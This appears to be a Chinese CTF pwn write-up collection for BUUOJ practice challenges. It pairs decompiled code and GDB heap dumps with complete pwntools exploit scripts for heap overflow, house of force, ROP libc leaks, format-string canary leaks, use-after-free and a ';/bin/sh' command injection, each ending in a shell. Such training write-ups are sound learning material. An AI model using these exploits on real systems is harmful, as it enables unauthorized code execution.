0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

main_arena_offset

1
2
3
[+]libc version : glibc 2.23
[+]build ID : BuildID[sha1]=1ca54a6e0d76188105b12e49fe6b8019bf08803a
[+]main_arena_offset : 0x3c4b20

3.GDB

3.1 libc leak

一般采取堆块重叠后,free()加入unsorted bin最后dump出unsorted bin的地址,根据libc中与main_arena的偏移得到libc_base

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#code:
Allocate(0x60)
Allocate(0x30)
Fill(0,"a"*0x60+p64(0)+p64(0x71)) <--修改idx=1的chunks size
Allocate(0x100) #idx=2 <--堆重叠了
Fill(2,"a"*0x20+p64(0)+p64(0x71)) <--idx=2的BK_nextsize位修改
Free(1) <--加入fastbin链表(free()的还是0x30大小)
Allocate(0x60)#idx=1 <--堆溢出
Fill(1,"a"*0x30+p64(0)+p64(0x111))<--堆修复
Allocate(0x60)#idx=3 <--和top_chunk分隔
Free(2)
GDB()
leak = u64(Dump(1)[-25:-17])
print "leak:"+hex(leak)

base=leak-0x3c4b78
malloc_hook=base+libc.sym['__malloc_hook']
print hex(malloc_hook)
1
2
3
4
5
6
7
gef➤  heap chunks
Chunk(addr=0x55754fefb010, size=0x70, flags=PREV_INUSE)
[0x000055754fefb010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa]
Chunk(addr=0x55754fefb080, size=0x70, flags=PREV_INUSE)
[0x000055754fefb080 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa]
Chunk(addr=0x55754fefb0f0, size=0x70, flags=PREV_INUSE)
[0x000055754fefb0f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
1
2
3
4
───────────── Unsorted Bin for arena 'main_arena' ─────────────
[+] unsorted_bins[0]: fw=0x55754fefb0b0, bk=0x55754fefb0b0
→ Chunk(addr=0x55754fefb0c0, size=0x110, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gef➤  x/45gx 0x55de8a864000
0x55de8a864000: 0x0000000000000000 0x0000000000000071
0x55de8a864010: 0x6161616161616161 0x6161616161616161
0x55de8a864020: 0x6161616161616161 0x6161616161616161
0x55de8a864030: 0x6161616161616161 0x6161616161616161
0x55de8a864040: 0x6161616161616161 0x6161616161616161
0x55de8a864050: 0x6161616161616161 0x6161616161616161
0x55de8a864060: 0x6161616161616161 0x6161616161616161
0x55de8a864070: 0x0000000000000000 0x0000000000000071
0x55de8a864080: 0x6161616161616161 0x6161616161616161
0x55de8a864090: 0x6161616161616161 0x6161616161616161
0x55de8a8640a0: 0x6161616161616161 0x6161616161616161
0x55de8a8640b0: 0x0000000000000000 0x0000000000000111
0x55de8a8640c0: 0x00007fa305c4ab78 0x00007fa305c4ab78 <---unsorted bin
0x55de8a8640d0: 0x0000000000000000 0x0000000000000000
0x55de8a8640e0: 0x0000000000000000 0x0000000000000071
0x55de8a8640f0: 0x0000000000000000 0x0000000000000000
0x55de8a864100: 0x0000000000000000 0x0000000000000000
0x55de8a864110: 0x0000000000000000 0x0000000000000000
0x55de8a864120: 0x0000000000000000 0x0000000000000000
0x55de8a864130: 0x0000000000000000 0x0000000000000000
0x55de8a864140: 0x0000000000000000 0x0000000000000000
0x55de8a864150: 0x0000000000000000 0x0000000000000000

3.2 fastbin attack

最后再修改malloc_hook-35的地址(mallco_hook的参数要偏移,且偏移后的地址不能为0)为exec_binsh(one_gadget)

简言之就是hook->onegadget

1
2
3
4
5
6
7
#code:
Free(1)
Fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(malloc_hook-35)+p64(0))
GDB()
#堆溢出覆盖chunk1的fd,使得下一块chunk在malloc_hook-35的地方
Allocate(0x60)
GDB()

3.4 覆盖chunk1的fd

heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
0x55a4b068b000 FASTBIN {  <---chunk 0
prev_size = 0,
size = 113,
fd = 0x6161616161616161,
bk = 0x6161616161616161,
fd_nextsize = 0x6161616161616161,
bk_nextsize = 0x6161616161616161
}
0x55a4b068b070 FASTBIN { <---chunk1
prev_size = 0,
size = 113,
fd = 0x7f038a23caed <_IO_wide_data_0+301>,
malloc_hook-35
bk = 0x0,
fd_nextsize = 0x6161616161616161,
bk_nextsize = 0x6161616161616161
}
0x55a4b068b0e0 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55a4b068b150 {
prev_size = 0,
size = 0,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

bins

1
2
3
4
5
6
7
8
9
10
11
12
13
14
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x7ff5da1deaed (_IO_wide_data_0+301) ◂— 0xf5d9e9fe20000000
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

stack

1
2
3
4
5
6
7
8
9
pwndbg> x/gx 0x7ff5da1deb10-35 
0x7ff5da1deaed <_IO_wide_data_0+301>: 0xf5da1dd260000000
0x7ff5da1deaf5 <_IO_wide_data_0+309>: 0x000000000000007f
0x7ff5da1deafd: 0xf5d9e9fe20000000
0x7ff5da1deb05 <__memalign_hook+5>: 0xf5d9e9fa0000007f
0x7ff5da1deb0d <__realloc_hook+5>: 0x000000000000007f
0x7ff5da1deb15 <__malloc_hook+5>: 0x0000000000000000
0x7ff5da1deb1d: 0x0000000000000000
0x7ff5da1deb25 <main_arena+5>: 0x0000000000000000

3.5 填入onegadget

heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
0x55efd712d000 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x6161616161616161,
bk = 0x6161616161616161,
fd_nextsize = 0x6161616161616161,
bk_nextsize = 0x6161616161616161
}
0x55efd712d070 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55efd712d0e0 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55efd712d150 {
prev_size = 0,
size = 0,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

gdb

1
2
3
4
5
6
7
pwndbg> x/gx 0x7f0f7c16ab10-35
0x7f0f7c16aaed <_IO_wide_data_0+301>: 0x0f7c169260000000
0x7f0f7c16aaf5 <_IO_wide_data_0+309>: 0x000000000000007f
0x7f0f7c16aafd: 0x4141414141414141
0x7f0f7c16ab05 <__memalign_hook+5>: 0x4141414141414141
0x7f0f7c16ab0d <__realloc_hook+5>: 0x0f7bdeb26a414141
0x7f0f7c16ab15 <__malloc_hook+5>: 0x000000000000007f
1
2
0x7f0f7bda6000+0x4526a=0x7f0f7bdeb26a
=0x7f0f7c16ab0d <__realloc_hook+5>的数值

4.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context.log_level = 'debug'
#p = remote("node3.buuoj.cn",26611)
libc = ELF("./libc-2.23.so")
p = process("./babyheap_0ctf_2017")

def Allocate(size):
p.sendlineafter("Command: ","1")
p.sendlineafter("Size: ",str(size))

def Fill(idx,content):
p.sendlineafter("Command: ","2")
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Size: ",str(len(content)))
p.sendlineafter("Content: ",content)

def Free(idx):
p.sendlineafter("Command: ","3")
p.sendlineafter("Index: ",str(idx))

def Dump(idx):
p.recvuntil("Command:")
p.sendline("4")
p.recvuntil("Index:")
p.sendline(str(idx))
p.recvuntil('Content: \n')
return p.recvline()

def GDB():
context.terminal = ['tmux','splitw','-h']
gdb.attach(p)

Allocate(0x60)
Allocate(0x30)
Fill(0,"a"*0x60+p64(0)+p64(0x71))
Allocate(0x100)
Fill(2,"a"*0x20+p64(0)+p64(0x71))
Free(1)
Allocate(0x60)
Fill(1,"a"*0x30+p64(0)+p64(0x111))
Allocate(0x60)
Free(2)
print Dump(1)
leak = u64(Dump(1)[-25:-17])
print "leak:"+hex(leak)

base=leak-0x3c4b78
malloc_hook=base+libc.sym['__malloc_hook']
print hex(malloc_hook)
Free(1)
Fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(malloc_hook-35)+p64(0))
Allocate(0x60)
Allocate(0x60)
Fill(2,"A"*(35-8-8)+p64(base+0x4526a))
Allocate(0x10)
p.interactive()

bbys_tu_2016

1.checksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+14h] [ebp-Ch]

puts("This program is hungry. You should feed it.");
__isoc99_scanf("%s", &v4);
puts("Do you feel the flow?");
return 0;
}

printFlag

1
2
3
4
5
6
7
8
9
10
11
int printFlag()
{
char s; // [esp+1Ah] [ebp-3Eh]
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("flag.txt", "r");
fgets(&s, 50, stream);
puts(&s);
fflush(stdout);
return fclose(stream);
}

简单栈溢出

3.EXP

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",28634)
elf = ELF("./bbys_tu_2016")
print_flag=elf.sym["printFlag"]

payload = 'a'*(0xc+8+4)+p32(print_flag)
p.sendline(payload)
print p.recv()
p.interactive()

bcloud_bctf_2016

1.checksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

sub_80487A1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned int sub_80487A1()
{
char s; // [esp+1Ch] [ebp-5Ch]
char *v2; // [esp+5Ch] [ebp-1Ch]
unsigned int v3; // [esp+6Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
memset(&s, 0, 0x50u);
puts("Input your name:");
safe_read((int)&s, 0x40, 10);
v2 = (char *)malloc(0x40u);
dword_804B0CC = (int)v2;
strcpy(v2, &s);
start_line((int)v2);
return __readgsdword(0x14u) ^ v3;
}

s的最大为0x40v2最大也为0x40

sub_8048779

1
2
3
4
5
int __cdecl sub_8048779(int a1)
{
printf("Hey %s! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!\n", a1);
return puts("Now let's set synchronization options.");
}

这里就可以泄露 v2 指针的地址

sub_804884E

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int sub_804884E()
{
char s; // [esp+1Ch] [ebp-9Ch]
char *v2; // [esp+5Ch] [ebp-5Ch]
int v3; // [esp+60h] [ebp-58h]
char *v4; // [esp+A4h] [ebp-14h]
unsigned int v5; // [esp+ACh] [ebp-Ch]

v5 = __readgsdword(0x14u);
memset(&s, 0, 0x90u);
puts("Org:");
safe_read((int)&s, 0x40, '\n');
puts("Host:");
safe_read((int)&v3, 0x40, '\n');
v4 = (char *)malloc(0x40u);
v2 = (char *)malloc(0x40u);
dword_804B0C8 = (int)v2;
dword_804B148 = (int)v4;
strcpy(v4, (const char *)&v3);
strcpy(v2, &s);
puts("OKay! Enjoy:)");
return __readgsdword(0x14u) ^ v5;
}

因为这里是32位程序,而且 sv2 的栈空间相差64,刚好可以覆盖 v2 的低地。然后到这一步的话, top chunk 又刚好在 v2 的下方,strcpy(v2, &s);0x40个字符 + v2 地址 + v3 内容一同复制进v2可以通过溢出覆盖 top chunksize域,符合了 HOF 的第一个条件 能够以溢出等方式控制到 top chunk 的 size 域

1
2
3
4
5
6
7
8
+-------------+----+--------------------------------+
| 0000009C s | s | safe_read((int)&s, 0x40, '\n');|
+---------------------------------------------------+
| 0000005C | v2 | v2 = (char *)malloc(0x40u); |
+---------------------------------------------------+
| 00000058 | v3 |safe_read((int)&v3, 0x40, '\n');|
+---------------------------------------------------+
strcpy(v2, &s);

3.思路

  1. 利用初始化名字处的漏洞泄漏堆的基地址。。
  2. 利用 house of forcetop chunk 分配至全局的 0x0804B0A0&notesize-8 处,当再次申请内存时,便返回notesize地址处的内存,从而我们就可以控制所有note的大小以及对应的地址了。
  3. 修改前三个 note 的大小为16,并修改其指针为 free@gotnotesizelibc_start
  4. free@got 修改为 puts@plt
  5. 泄漏 libc_start 地址。
  6. 再次修改另外一个 free@got 项为 system 地址,从而拿到shell。

4.gdb

0x1 leak_addr

1
2
3
4
5
0x804c000:	0x0000004900000000	0x6161616161616161
0x804c010: 0x6161616161616161 0x6161616161616161
0x804c020: 0x6161616161616161 0x6161616161616161
0x804c030: 0x6161616161616161 0x6161616161616161
0x804c040: 0x6161616161616161 0x00020f000804c008

0x00020f000804c008发现距离地址相差 8,所以之后要去减去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#code:
sh.sendafter("Input your name:\n",'a'*0x40)
sh.recvuntil('a'*0x40)
leak = u32(sh.recv(4)) - 8
log.success("leak addr > 0x%x",leak)
gdb.attach(sh)
#gdb
0x9e89000: 0x0000004900000000 0x6161616161616161
0x9e89010: 0x6161616161616161 0x6161616161616161
0x9e89020: 0x6161616161616161 0x6161616161616161
0x9e89030: 0x6161616161616161 0x6161616161616161
0x9e89040: 0x6161616161616161 0x00020f0009e89008
0x9e89050: 0x0000000000000000 0x0000000000000000
#gef
gef➤ heap chunks
Chunk(addr=0x9e89008, size=0x48, flags=PREV_INUSE)
··········································
Chunk(addr=0x9e89050, size=0x48, flags=PREV_INUSE)
··········································
Chunk(addr=0x9e89098, size=0x48, flags=PREV_INUSE)
··········································
Chunk(addr=0x9e890e0, size=0x20e70, flags=PREV_INUSE) ← top chunk
··········································
#计算
>>>hex(0x9e890e0 - 0x9e89008)
0xd8 #得到top_chunk相对偏移

0x2 hof

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#code:
sh.sendafter("Org:\n",'a'*64)
sh.sendlineafter("Host:\n",p32(0xffffffff))
log.success("top chunk > 0x%x",top_chunk)
#gdb
0x9e89008: 0x6161616161616161 0x6161616161616161
0x9e89018: 0x6161616161616161 0x6161616161616161
0x9e89028: 0x6161616161616161 0x6161616161616161
0x9e89038: 0x6161616161616161 0x6161616161616161
0x9e89048: 0x0000004909e89008 0x00000000ffffffff
0x9e89058: 0x0000000000000000 0x0000000000000000
0x9e89068: 0x0000000000000000 0x0000000000000000
0x9e89078: 0x0000000000000000 0x0000000000000000
0x9e89088: 0x0000000000000000 0x0000004900000000
0x9e89098: 0x6161616161616161 0x6161616161616161
0x9e890a8: 0x6161616161616161 0x6161616161616161
0x9e890b8: 0x6161616161616161 0x6161616161616161
0x9e890c8: 0x6161616161616161 0x6161616161616161
0x9e890d8: 0xffffffff09e89098 0x0000000000000000
0x9e890e8: 0x0000000000000000 0x0000000000000000
0x9e890f8: 0x0000000000000000 0x0000000000000000
#gef
gef➤ heap chunks
Chunk(addr=0x9e89008, size=0x48, flags=PREV_INUSE)
Chunk(addr=0x9e89050, size=0x48, flags=PREV_INUSE)
Chunk(addr=0x9e89098, size=0x48, flags=PREV_INUSE)
Chunk(addr=0x9e890e0, size=0xfffffff8, flags=PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA) ← top chunk

top chunksize域被改变了

0x3 迁移top chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#code:
notesize_addr = 0x0804B0A0
notelist_addr = 0x0804B120
target = notesize_addr - 8
offset = target - top_chunk - 8
log.success("offset > "+hex(offset))
add(offset,"aaaa")
#terminal
[+] 1st chunk addr > 0x9f8c000
[+] top chunk > 0x9f8c0d8
[+] offset > -0x1f41048
#pwndbg
0x804b098 PREV_INUSE {
prev_size = 0,
size = 32772153,
fd = 0xfe0befb8,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

发现多了这个 chunk ,地址=notesize_addr - 8
说明迁移成功,那么下一次就会分配chunk到这里来

0x4 free@got泄露

1
2
3
4
5
6
7
8
9
10
#code:
payload = p32(16) * 3
payload += (notelist_addr - notesize_addr - 12) * 'a'
payload += p32(elf.got['free']) + p32(elf.got['atoi']) * 2
add(1000,payload)
#pwndbg
0x804b098: 0x00000000 0x01f41039 0xfe0befb8 0x00000000
0x804b0a8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0b8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0c8: 0x09f8c098 0x09f8c008 0x00000000 0x00000000

5.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
#context.log_level = "debug"
context.arch = "i386"
elf = ELF("./bcloud_bctf_2016")
libc = ELF("/home/joe1sn/libc/32/libc-2.23.so")
sh = remote("node3.buuoj.cn",29429)

def add(size,text):
sh.sendlineafter(">>","1")
sh.sendlineafter(":",str(size))
if size > 0:
sh.recvuntil(":")
sh.send(text)

def edit(idx,text):
sh.sendlineafter(">>","3")
sh.sendlineafter(":",str(idx))
sh.sendafter(":",text)

def delete(idx):
sh.sendlineafter(">>","4")
sh.sendlineafter(":",str(idx))

if __name__ == '__main__':

#------------------leak------------------
sh.sendafter(":","b" * 0x40)
sh.recvuntil("b" * 0x40)
heap_base = u32(sh.recv(4)) - 8
top_chunk = heap_base + 0xd8
log.success("1st chunk > "+hex(heap_base))
log.success("top chunk > "+hex(top_chunk))

#------------------hof------------------
sh.recvuntil(":")
sh.send(0x40 * "a")
sh.recvuntil(":")
sh.sendline("\xff" * 0x4)

#------------------top chunk------------------
notesize_addr = 0x0804B0A0
notelist_addr = 0x0804B120
offset = notesize_addr - top_chunk - 0x10
add(offset,'')

#------free@got,atoi@got,atoi@got------
payload = p32(0x400) * 10
payload = payload.ljust(0x0804B120 - 0x0804B0A0,'\x00')
payload += p32(elf.got['free'])
payload += p32(notesize_addr)
payload += p32(elf.got['__libc_start_main'])
add(0x400,payload + "\n")
edit(0,p32(elf.plt['puts']) + "\n")
delete(2)
#------------------leak all------------------
__libc_start_main = u32(sh.recvuntil('\xf7')[-4:])
base = __libc_start_main - libc.symbols['__libc_start_main']
system = base + libc.symbols['system']
binsh = base + libc.search("/bin/sh\x00").next()
log.success('libc base addr: ' + hex(base))
log.success('system addr: ' + hex(system))
log.success('/bin/sh addr: ' + hex(binsh))

#------------------attack------------------
edit(0,p32(system) + "\n")
edit(1,payload + p32(binsh) + "\n")
delete(3)
sh.interactive()

bjdctf_2020_babyrop

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

vuln

1
2
3
4
5
6
7
ssize_t vuln()
{
char buf; // [rsp+0h] [rbp-20h]

puts("Pull up your sword and tell me u story!");
return read(0, &buf, 0x64uLL);
}

溢出+libc leak

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
#from LibcSearcher import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",29594)
elf = ELF("./bjdctf_2020_babyrop")
libc = ELF("./libc-2.23.so")

puts_plt = elf.plt["puts"]
read_got = elf.got["read"]
main_addr = elf.sym["main"]
pop_rdi_ret = 0x0000000000400733

payload = "a"*(0x20+8)
payload += p64(pop_rdi_ret)+p64(read_got)
payload += p64(puts_plt)+p64(main_addr)
p.recvuntil("story!\n")
p.sendline(payload)

leak_addr = u64(p.recv(6).ljust(8,"\x00"))
#leak_addr = u64(p.recv(0x6))
libc_base = leak_addr-libc.sym["read"]
sys_addr = libc_base+libc.sym["system"]
binsh = libc_base+libc.search("/bin/sh").next()
'''
libc = LibcSearcher("read",leak_addr)
libc_base = leak_addr-libc.dump("read")
sys_addr = libc_base+libc.dump("system")
binsh = libc_base+libc.dump("str_bin_sh")
'''
log.info("libc base=>%x",libc_base)
log.info("system addr=>%x",sys_addr)
log.info("/bin/sh=>%x",binsh)

payload = 'a'*(0x20+8)
payload += p64(pop_rdi_ret)+p64(binsh)
payload += p64(sys_addr)
p.sendlineafter("story!",payload)
p.interactive()

bjdctf_2020_babyrop2

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

gift

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 gift()
{
char format; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("I'll give u some gift to help u!");
__isoc99_scanf("%6s", &format);
printf(&format, &format);
puts(byte_400A05);
fflush(0LL);
return __readfsqword(0x28u) ^ v2;
}

vuln

1
2
3
4
5
6
7
8
9
10
unsigned __int64 vuln()
{
char buf; // [rsp+0h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Pull up your sword and tell me u story!");
read(0, &buf, 0x64uLL);
return __readfsqword(0x28u) ^ v2;
}

从gift利用字符串格式化漏洞泄露canary,再利用vuln执行漏洞

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
elf= ELF("./bjdctf_2020_babyrop2")
#p = process("./bjdctf_2020_babyrop2")
p = remote("node3.buuoj.cn","27381")

p.sendlineafter("to help u!\n","%7$p")
p.recvuntil("0x")
canary=int(p.recv(16),16)
success("Canary=>0x%x",canary)

pop_rdi_ret = 0x0400993

payload = 'a'*0x18+p64(canary)+'a'*8
payload += p64(pop_rdi_ret)+p64(elf.got["puts"])
payload += p64(elf.plt["puts"])+p64(elf.sym["vuln"])
p.sendlineafter("tell me u story!",payload)

leak = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
libc = LibcSearcher("puts",leak)
base = leak-libc.dump("puts")
sys_addr = base + libc.dump("system")
binsh = base+ libc.dump("str_bin_sh")

payload='a'*0x18+p64(canary)+p64(0)
payload+=p64(pop_rdi_ret)+p64(binsh)
payload+=p64(sys_addr)

p.sendlineafter("!",payload)
p.interactive()

bjdctf_2020_babystack

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-10h]
size_t nbytes; // [rsp+Ch] [rbp-4h]

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
puts("[+]What's u name?");
read(0, &buf, (unsigned int)nbytes);
return 0;
}

back_door

1
2
3
4
5
signed __int64 backdoor()
{
system("/bin/sh");
return 1LL;
}

nbytes可以被我们控制,从而造成栈溢出

3.EXP

1
2
3
4
5
6
from pwn import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",25325)
p.sendlineafter(":",str(0x100))
p.sendlineafter("?",'a'*0x18+p64(0x04006EA))
p.interactive()

bjdctf_2020_babystack2

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-10h]
size_t nbytes; // [rsp+Ch] [rbp-4h]

setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
if ( (signed int)nbytes > 10 )
{
puts("Oops,u name is too long!");
exit(-1);
}
puts("[+]What's u name?");
read(0, &buf, (unsigned int)nbytes);
return 0;
}

(signed int)nbytes 为正整数,所以存在整数溢出漏洞

backdoor

1
2
3
4
5
signed __int64 backdoor()
{
system("/bin/sh");
return 1LL;
}

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level = "debug"
elf = ELF("./bjdctf_2020_babystack2")
#p = process("./bjdctf_2020_babystack2")
p = remote("node3.buuoj.cn","28949")

back_door = 0x0400726

payload = 'a'*0x18+p64(back_door)
p.sendlineafter(":\n",'-1')
p.sendlineafter("?\n",payload)
p.interactive()

bjdctf_2020_router

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.运行

1
2
3
4
5
6
7
Welcome to BJDCTF router test program!
1.ping
2.test
3.leave comments
4.root
5.exit
Please input u choose:

根本不用EXP,考察的是linux的 命令是利用;分割的

3.EXP

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p = process('./bjdctf_2020_router')
elf = ELF('./bjdctf_2020_router')
context.log_level = 'debug'

p.recv()
p.sendline("1")
p.recv()
#p.sendline(';cat flag')
p.sendline(';/bin/sh')
p.interactive()

bjdctf_2020_YDSneedGrirlfriend

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

基本功能

1
2
3
4
5
6
7
8
9
10
11
12
def add(sz,text):
sh.sendlineafter("Your choice :","1")
sh.sendlineafter("Her name size is :",str(sz))
sh.sendlineafter("Her name is :",text)

def delete(idx):
sh.sendlineafter("Your choice :","2")
sh.sendlineafter("Index :",str(idx))

def show(idx):
sh.sendlineafter("Your choice :","3")
sh.sendlineafter("Index :",str(idx))

del_girlfriend

1
2
3
4
5
6
7
8
9
if ( v1 >= 0 && v1 < count )
{
if ( girlfriendlist[v1] ) // UAF
{
free(*((void **)girlfriendlist[v1] + 1)); // free(chunk)
free(girlfriendlist[v1]); // free(size)
puts("Success");
}
}

释放后指针没有置0,造成 use after free

print_girlfriend_name

1
2
3
4
int __fastcall print_girlfriend_name(__int64 a1)
{
return puts(*(const char **)(a1 + 8));
}

位于所申请的chunk中,可以通过之前的uaf漏洞将其改写

back_door

1
2
3
4
5
int backdoor()
{
puts("YDS get N+ girlfriend!");
return system("/bin/sh");
}

直接覆盖print_girlfriend_nameback_door 就行了

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
elf = ELF('bjdctf_2020_YDSneedGrirlfriend')
libc = ELF("/home/joe1sn/libc/64/libc-2.23.so")
sh = 0

def add(sz,text):
sh.sendlineafter("Your choice :","1")
sh.sendlineafter("Her name size is :",str(sz))
sh.sendlineafter("Her name is :",text)

def delete(idx):
sh.sendlineafter("Your choice :","2")
sh.sendlineafter("Index :",str(idx))

def show(idx):
sh.sendlineafter("Your choice :","3")
sh.sendlineafter("Index :",str(idx))

def main(ip,port,mode,debug):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process("bjdctf_2020_YDSneedGrirlfriend")
else:
sh = remote(ip,port)
add(0x60,'aaaa')#0
add(0x60,'bbbb')#1

delete(0)
delete(1)

add(0x10,p64(0x400B9C))
show(0)
sh.interactive()

if __name__ == '__main__':
main("node3.buuoj.cn","27659",1,1)

ciscn_2019_c_1

环境:Ubuntu18

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

main

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi

setvbuf(_bss_start, 0LL, 2, 0LL);
v3 = stdin;
setvbuf(stdin, 0LL, 2, 0LL);
func(v3, 0LL);
return 0;
}

 func

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int func()
{
int result; // eax
char v1; // [rsp+0h] [rbp-30h]
float v2; // [rsp+2Ch] [rbp-4h]

v2 = 0.0;
puts("Let's guess the number.");
gets(&v1);
if ( v2 == 11.28125 )
result = system("cat /flag");
else
result = puts("Its value should be 11.28125");
return result;
}

 string

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
